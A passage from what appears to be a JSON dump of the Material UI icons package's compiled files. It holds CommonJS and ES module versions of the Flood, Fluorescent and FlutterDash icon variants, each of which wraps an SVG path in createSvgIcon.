1.09-.04 1.29-.55.21-.51-.05-1.1-.57-1.29l-9.24-3.54c-.81-.31-1.72-.06-2.27.61l-6.23 7.7c-.35.43-.28 1.06.16 1.4.43.34 1.06.26 1.39-.17l.78-1 .93 3.48c-.18-.02-.35-.05-.56-.05-1.54 0-1.95.62-2.66.88-.4.17-.67.55-.67.97 0 .7.69 1.19 1.35.95.8-.29 1.18-.78 2-.78 1.19 0 1.42 1 3.33 1m5.36-7.32 1.42 5.31c-1.34.09-1.47-.99-3.47-.99-.36 0-.65.04-.91.1l-.91-3.39z\"\n}), 'FloodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FloodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.67 19c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1c-1.54 0-1.96.62-2.67.88-.4.15-.67.52-.67.95 0 .71.72 1.19 1.38.94.77-.29 1.11-.77 1.96-.77 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.22 0 1.4 1 3.33 1s2.1-1 3.33-1c.84 0 1.18.47 1.95.77.66.26 1.38-.23 1.38-.94v-.01c0-.42-.27-.8-.67-.94-.71-.26-1.12-.88-2.66-.88m-9.99-1.5c1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .82 0 1.17.46 1.93.76.66.26 1.38-.23 1.38-.94 0-.42-.26-.79-.65-.94-.29-.11-.54-.27-.83-.43l-2.02-7.53 1.17.47c.51.21 1.09-.04 1.29-.55.21-.51-.05-1.1-.57-1.29l-9.24-3.54c-.81-.31-1.72-.06-2.27.61l-6.23 7.7c-.35.43-.28 1.06.16 1.4.43.34 1.06.26 1.39-.17l.78-1 .93 3.48c-.18-.02-.35-.05-.56-.05-1.54 0-1.95.62-2.66.88-.4.17-.67.55-.67.97 0 .7.69 1.19 1.35.95.8-.29 1.18-.78 2-.78 1.19 0 1.42 1 3.33 1m5.36-7.32 1.42 5.31c-1.34.09-1.47-.99-3.47-.99-.36 0-.65.04-.91.1l-.91-3.39z\"\n}), 'FloodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FloodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.67 19c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.22 0 1.4 1 3.33 1s2.1-1 3.33-1c1.22 0 1.4 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1m-9.99-1.5c1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-.63 0-1-.28-1.48-.55l-2.02-7.53 2.09.85.74-1.86L9.78 2 2 11.61l1.57 1.23 1.39-1.78.93 3.48c-.18-.02-.35-.05-.56-.05-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19.01 1.42 1.01 3.33 1.01m5.36-7.32 1.42 5.31c-1.34.09-1.47-.99-3.47-.99-.36 0-.65.04-.91.1l-.91-3.39z\"\n}), 'FloodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FloodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.67 19c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.22 0 1.4 1 3.33 1s2.1-1 3.33-1c1.22 0 1.4 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1m-9.99-1.5c1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-.63 0-1-.28-1.48-.55l-2.02-7.53 2.09.85.74-1.86L9.78 2 2 11.61l1.57 1.23 1.39-1.78.93 3.48c-.18-.02-.35-.05-.56-.05-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19.01 1.42 1.01 3.33 1.01m5.36-7.32 1.42 5.31c-1.34.09-1.47-.99-3.47-.99-.36 0-.65.04-.91.1l-.91-3.39z\"\n}), 'FloodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FloodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.66 15.5c1.01 0 1.3-.65 2.42-.9l-.91-3.39 3.86-1.04 1.42 5.31c1.03-.07 1.3-.85 2.85-.96L16.16 6.5l-5.74-2.09L6.5 9.09l1.7 6.36c.13.03.28.05.46.05\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.67 19c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.22 0 1.4 1 3.33 1s2.1-1 3.33-1c1.22 0 1.4 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1m-9.99-1.5c1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-.63 0-1-.28-1.48-.55l-2.02-7.53 2.09.85.74-1.86L9.78 2 2 11.61l1.57 1.23 1.39-1.78.93 3.48c-.18-.02-.35-.05-.56-.05-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19.01 1.42 1.01 3.33 1.01m1.74-13.09 5.74 2.09 2.15 8.02c-1.54.11-1.82.89-2.85.96l-1.42-5.31-3.86 1.04.91 3.39c-1.12.25-1.41.9-2.42.9-.18 0-.33-.02-.45-.05L6.5 9.09z\"\n}, \"1\")], 'FloodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FloodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.66 15.5c1.01 0 1.3-.65 2.42-.9l-.91-3.39 3.86-1.04 1.42 5.31c1.03-.07 1.3-.85 2.85-.96L16.16 6.5l-5.74-2.09L6.5 9.09l1.7 6.36c.13.03.28.05.46.05\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.67 19c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.22 0 1.4 1 3.33 1s2.1-1 3.33-1c1.22 0 1.4 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1m-9.99-1.5c1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-.63 0-1-.28-1.48-.55l-2.02-7.53 2.09.85.74-1.86L9.78 2 2 11.61l1.57 1.23 1.39-1.78.93 3.48c-.18-.02-.35-.05-.56-.05-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19.01 1.42 1.01 3.33 1.01m1.74-13.09 5.74 2.09 2.15 8.02c-1.54.11-1.82.89-2.85.96l-1.42-5.31-3.86 1.04.91 3.39c-1.12.25-1.41.9-2.42.9-.18 0-.33-.02-.45-.05L6.5 9.09z\"\n}, \"1\")], 'FloodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fluorescent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 9h14v6H5zm6-7h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}), 'Fluorescent');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fluorescent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 9h14v6H5zm6-7h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}), 'Fluorescent');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-9h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}), 'FluorescentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-9h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}), 'FluorescentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h10c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2m5-13c-.56 0-1 .45-1 1v1c0 .55.45 1 1 1s1-.45 1-1V3c0-.55-.45-1-1-1m7.79 3.3a.996.996 0 0 0-1.41 0l-.38.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.38-.38c.39-.38.39-1.02 0-1.41M12 22c.56 0 1-.45 1-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1c0 .55.45 1 1 1m5.99-3.59.38.39c.39.39 1.02.39 1.41 0l.01-.01c.39-.39.39-1.02 0-1.41L19.4 17a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.41M6 5.69l-.39-.38a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.39.38c.39.39 1.02.39 1.41 0 .38-.39.38-1.03 0-1.41m-1.8 13.1c.39.4 1.03.4 1.42 0L6 18.4c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.39.39c-.39.39-.39 1.02 0 1.41\"\n}), 'FluorescentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h10c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2m5-13c-.56 0-1 .45-1 1v1c0 .55.45 1 1 1s1-.45 1-1V3c0-.55-.45-1-1-1m7.79 3.3a.996.996 0 0 0-1.41 0l-.38.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.38-.38c.39-.38.39-1.02 0-1.41M12 22c.56 0 1-.45 1-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1c0 .55.45 1 1 1m5.99-3.59.38.39c.39.39 1.02.39 1.41 0l.01-.01c.39-.39.39-1.02 0-1.41L19.4 17a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.41M6 5.69l-.39-.38a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.39.38c.39.39 1.02.39 1.41 0 .38-.39.38-1.03 0-1.41m-1.8 13.1c.39.4 1.03.4 1.42 0L6 18.4c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.39.39c-.39.39-.39 1.02 0 1.41\"\n}), 'FluorescentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 9h14v6H5zm6-7h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}), 'FluorescentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 9h14v6H5zm6-7h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}), 'FluorescentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-9h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}, \"1\")], 'FluorescentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FluorescentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-9h2v3h-2zm6.2865 4.3988 1.7896-1.8024 1.4193 1.4092-1.7897 1.8024zM11 19h2v3h-2zm6.29-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM3.4948 6.0091 4.9019 4.602l1.789 1.789-1.4071 1.407zm-.0027 12.0671 1.8024-1.7896 1.4092 1.4192-1.8024 1.7897z\"\n}, \"1\")], 'FluorescentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDash');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDash');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 